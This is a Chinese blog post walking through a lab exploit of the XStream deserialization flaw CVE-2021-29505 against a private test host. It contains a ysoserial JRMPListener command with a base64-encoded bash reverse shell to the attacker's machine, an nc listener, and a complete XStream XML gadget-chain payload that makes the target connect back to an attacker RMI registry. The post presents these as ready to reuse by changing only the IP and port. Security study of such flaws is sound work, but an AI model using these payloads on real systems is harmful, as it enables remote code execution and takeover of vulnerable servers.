xstream反序列化

最新推荐文章于 2024-03-13 10:48:33 发布

wx_7782175678

最新推荐文章于 2024-03-13 10:48:33 发布

阅读量745

点赞数

分类专栏：中间件

本文链接：https://blog.csdn.net/weixin_48776804/article/details/117636624

版权

中间件专栏收录该内容

19 篇文章 0 订阅

订阅专栏

xstream反序列化

1 原理
2 过程
3 甜点

1 原理

CVE-2021-29505
kali：192.168.3.115
xstream：192.168.3.133

2 过程

（1）正常测试

访问 http://192.168.3.133:8080/
在这里插入图片描述
burp发送一个正常的xml数据

<?xml version="1.0" encoding="UTF-8"?>
<user>
	<name>Bob</name>
	<age>22</age>
</user>

在这里插入图片描述

（2）反弹shell

kali开启一个远程服务，但是端口只能一次一用

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1044 CommonsCollections6 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE1LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}”
在这里插入图片描述

发送burp-payload，回复500

（3）接收shell

nc -lvnp 1234
在这里插入图片描述

3 甜点

当1044端口使用两次的时候，一直等
建立一个txt文件
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1033 CommonsCollections6 “touch /tmp/xstream.txt”

在这里插入图片描述

burp-payload，只需要修改ip和端口，各两个，如图

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>192.168.3.115</string>
                                                <int>1099</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>192.168.3.115</host>
                                        <port>1099</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>